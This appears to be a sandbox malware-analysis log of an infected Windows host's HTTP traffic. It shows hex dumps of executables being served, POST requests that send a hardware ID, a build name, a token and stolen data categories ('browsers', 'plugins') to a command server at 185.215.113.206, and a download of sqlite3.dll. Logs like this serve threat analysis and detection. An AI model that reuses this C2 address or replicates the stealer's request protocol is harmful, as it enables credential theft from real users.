Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 28 Oct 2024 01:07:47 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 28 Oct 2024 01:07:48 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 28 Oct 2024 01:07:48 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 28 Oct 2024 01:07:50 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 28 Oct 2024 01:07:51 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEGHJKJKKJDHIDHJKJDBHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 32 33 38 34 33 43 31 35 36 46 41 38 33 35 31 30 32 31 31 34 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 42 2d 2d 0d 0a Data Ascii: ------AEGHJKJKKJDHIDHJKJDBContent-Disposition: form-data; name="hwid"223843C156FA835102114------AEGHJKJKKJDHIDHJKJDBContent-Disposition: form-data; name="build"tale------AEGHJKJKKJDHIDHJKJDB--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBFCFIEBKEGHIDGCAFBFHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 46 43 46 49 45 42 4b 45 47 48 49 44 47 43 41 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 34 31 30 31 38 32 31 33 36 65 31 64 66 61 39 38 63 65 34 36 63 39 33 30 61 66 35 61 36 34 32 31 66 64 61 34 35 65 39 64 63 64 62 32 65 61 37 33 65 35 36 66 38 66 35 66 34 35 65 63 64 39 37 61 35 62 30 32 64 37 63 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 43 46 49 45 42 4b 45 47 48 49 44 47 43 41 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 43 46 49 45 42 4b 45 47 48 49 44 47 43 41 46 42 46 2d 2d 0d 0a Data Ascii: ------FBFCFIEBKEGHIDGCAFBFContent-Disposition: form-data; name="token"f410182136e1dfa98ce46c930af5a6421fda45e9dcdb2ea73e56f8f5f45ecd97a5b02d7c------FBFCFIEBKEGHIDGCAFBFContent-Disposition: form-data; name="message"browsers------FBFCFIEBKEGHIDGCAFBF--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAAEBAFBGIDHCBFHIECFHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 34 31 30 31 38 32 31 33 36 65 31 64 66 61 39 38 63 65 34 36 63 39 33 30 61 66 35 61 36 34 32 31 66 64 61 34 35 65 39 64 63 64 62 32 65 61 37 33 65 35 36 66 38 66 35 66 34 35 65 63 64 39 37 61 35 62 30 32 64 37 63 0d 0a 2d 2d 2d 2d 2d 2d 41 41 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 41 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 2d 2d 0d 0a Data Ascii: ------AAAEBAFBGIDHCBFHIECFContent-Disposition: form-data; name="token"f410182136e1dfa98ce46c930af5a6421fda45e9dcdb2ea73e56f8f5f45ecd97a5b02d7c------AAAEBAFBGIDHCBFHIECFContent-Disposition: form-data; name="message"plugins------AAAEBAFBGIDHCBFHIECF--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAFBGHIDBGHJJKFHJDHCHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 46 42 47 48 49 44 42 47 48 4a 4a 4b 46 48 4a 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 34 31 30 31 38 32 31 33 36 65 31 64 66 61 39 38 63 65 34 36 63 39 33 30 61 66 35 61 36 34 32 31 66 64 61 34 35 65 39 64 63 64 62 32 65 61 37 33 65 35 36 66 38 66 35 66 34 35 65 63 64 39 37 61 35 62 30 32 64 37 63 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 42 47 48 49 44 42 47 48 4a 4a 4b 46 48 4a 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 42 47 48 49 44 42 47 48 4a 4a 4b 46 48 4a 44 48 43 2d 2d 0d 0a Data Ascii: ------CAFBGHIDBGHJJKFHJDHCContent-Disposition: form-data; name="token"f410182136e1dfa98ce46c930af5a6421fda45e9dcdb2ea73e56f8f5f45ecd97a5b02d7c------CAFBGHIDBGHJJKFHJDHCContent-Disposition: form-data; name="message"fplugins------CAFBGHIDBGHJJKFHJDHC--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBKFCFBFIDGCGDHJDBKFHost: 185.215.113.206Content-Length: 6335Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKEGIIJDGHCAKFHJEHCFHost: 185.215.113.206Content-Length: 991Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFIJKEBFBFHIJJKEHDHIHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 49 4a 4b 45 42 46 42 46 48 49 4a 4a 4b 45 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 34 31 30 31 38 32 31 33 36 65 31 64 66 61 39 38 63 65 34 36 63 39 33 30 61 66 35 61 36 34 32 31 66 64 61 34 35 65 39 64 63 64 62 32 65 61 37 33 65 35 36 66 38 66 35 66 34 35 65 63 64 39 37 61 35 62 30 32 64 37 63 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 4a 4b 45 42 46 42 46 48 49 4a 4a 4b 45 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 4a 4b 